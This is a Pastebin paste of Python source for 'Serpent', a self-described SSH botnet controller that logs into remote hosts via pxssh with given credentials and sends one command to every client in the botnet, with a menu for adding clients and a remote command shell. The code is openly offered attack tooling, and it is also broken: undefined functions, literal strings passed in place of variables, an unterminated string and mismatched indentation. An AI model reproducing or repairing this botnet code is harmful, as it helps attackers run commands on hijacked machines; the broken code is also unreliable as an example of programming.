Kaos_Method

Python SSH Botnet Update

Jul 14th, 2017
734
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.83 KB | None | 0 0
  1.  
  2.  print ('________________________________________________________________________________________ ')
  3.  print ('[  _______    _______    _______    _______    _______    _______    _         _________]')
  4.  print ('[ (  ____ \ (  ____ \ (  ____ )  (  ____ \ (  ____ )  (  ____ \ ( (    /|  \__   __/]')
  5.  print ('[ | (    \/  | (    \/  | (    )|  | (    \/  | (    )|  | (    \/  |  \ ( |     ) (   ]')
  6.  print ('[ | (_____   | (__      | (____)|  | (__      | (____)|  | (__      |   \ | |     | |   ]')
  7.  print ('[ (_____  )  |  __)     |     __)  |  __)     |  _____)  |  __)     | (\ \) |     | |   ]')
  8.  print ('[       ) |  | (        | (\ (     | (        | (        | (        | | \  |     | |   ]')
  9.  print ('[ /\____) |  | (____/\ | ) \ \__  | (____/\ | )        | (____/\ | )  \ |     | |   ]')
  10.  print ('[ \_______)  (_______/  |/   \__/  (_______/  |/         (_______/  |/    )_)     )_(   ]')
  11.  print ('[_______________________________________________________________________________________]')
  12.  
  13.  
  14.  from pexpect import pxssh
  15.  from docopt import docopt
  16.  from getpass import getpass
  17.  from colorama import Fore, Style, init
  18.  
  19.  
  20.  class Client: #Creating "Client" as a class.
  21.      def __init__(self, host, user, password): #Defiing the initializer, while taking four arguements.
  22.          self.host = host
  23.          self.user = user
  24.          self.password = password
  25.          self.session = self.connect()
  26.  
  27.      def connect(self):
  28.          try:
  29.              s = pxssh.pxssh() #s assigned as a class variable for the "pxssh" module.
  30.              s.login(self.host, self.user, self.password) #Calling the method "s.login".
  31.  
  32.              return s
  33.          except Exception as e:
  34.              print (Fore.RED + '[-] Connection Failed' + Fore.RESET)
  35.              print (e)
  36.              anykey = input('')
  37.          exit
  38.          mainMenu()
  39.  
  40.      def send_command(self, cmd): #Defining the "send_command".
  41.          self.session.sendline(cmd)
  42.          self.session.prompt()
  43.          return self.session.before
  44.  
  45.  def botNet_command(command, serpent): #Defineing the botNet command.
  46.      for client in botNet: #The commands are executed for clients in the botNet.
  47.          output = client.send_command(command)
  48.          print (Fore.GREEN + '[*] Output from ' + client.host + Fore.RESET)
  49.          print ('[+] ' + output + '\n')
  50.  
  51.  def add_client(host, user, password, botNet): # Defining function to allow "client" to be added.
  52.      client = Client(host, user, password)
  53.      botNet.append(client)
  54.  
  55.  def main():
  56.      g = getpass #I'm using the "Getpass" module to prevent any of the following user inputs from being Echoed.
  57.      ip = g(prompt=Style.DIM + 'SRP Shell:') #This is where the I"P address" is entered.
  58.      host = g(prompt=Style.DIM + 'SRP Shell:') #This is where the "host" is entered.
  59.      psw = g(prompt=Style.DIM + 'SRP Shell:' ) #This is where the "Password" is entered.
  60.      srpnt = g(prompt=Style.DIM + 'SRP Shell:') #This is where the botnet commands are entered.
  61.      botNet = []
  62.  
  63.      add_client('ip', 'host', 'password', botNet)
  64.  
  65.      botNet_command('cmd', botNet)
  66.  
  67.  def SRP_Shell(): # Defining "SRP Shell". This allows the SRP Shell to be used directly to execute commands remotely.
  68.       g = getpass # Variable for the getpass module.
  69.       try:
  70.          while True:
  71.              cmd = krypt(prompt=Style.DIM + 'SRP Shell:') #This is the SRP Shell, protected from Echo by getpass.
  72.              print ()
  73.      except KeyboardInterrupt: #Except KeyInterrupt as the method to get to the main menu.
  74.          pass #The pass statement is used to pass anything that isn't the KeyboardInterrupt. Allowing the SRP Shell to be used as long as needed.
  75.  
  76.      mainMenu()
  77.  
  78.  def mainMenu():
  79.      print ()
  80.      print (Style.DIM + 'Available Commands')
  81.      print ('==================')
  82.      print()
  83.      print (Style.DIM + 'Commands                 Description')
  84.      print('--------                 -----------')
  85.      print (Style.DIM + '1. Add Client            adds client to Botnet')
  86.      print (Style.DIM + '2. Manage Clients        manage clients in Botnet')
  87.      print (Style.DIM + '3. Options               option\'s menu')
  88.      print (Style.DIM + '4. SRP Shell             Serpent Shell, to execute commands')
  89.      print (Style.DIM + '5. Interact              interacts with one/all clients')
  90.      print (Style.DIM + '6. List                  lists all clients within database')
  91.      print (Style.DIM + '7. Sysinfol              displays system info of clients in Botnet')
  92.      print (Style.DIM + '8. Exit                  exits the system)
  93.     print ()
  94.  
  95.     g = getpass
  96.  
  97.     while True: #A While loop to control the menu driven interface.
  98.         try:
  99.             selection=int(krypt(prompt=Style.DIM + 'SRP Shell:'))
  100.             print()
  101.             if selection == 1:
  102.                 main()
  103.                 break
  104.             elif selection == 2:
  105.                 ManageClient()
  106.                 break
  107.             elif selection == 3:
  108.                 options()
  109.                 break
  110.             elif selection == 4:
  111.                 SRP_Shell()
  112.                 break
  113.             elif selection == 5:
  114.                 Interact()
  115.                 break
  116.             elif selection == 6:
  117.                 Lists()
  118.                 break
  119.             elif selection == 7:
  120.                 Sysinfo()
  121.                 break
  122.             elif selection == 8:
  123.                 break
  124.                 print(Fore.RED + 'Error' + Fore.RESET)
  125.                 mainMenu()
  126.         except ValueError:
  127.             print (Fore.RED + 'Error' + Fore.RESET)
  128.     exit
  129.  
  130. mainMenu()
  131.  
  132. if __name__ == '__main__':
  133.  
  134.     init()
  135.     docopt(__doc__, version = Style.DIM + 'Serpent.py VER.-1.0')
  136.     main()
Add Comment
Please, Sign In to add comment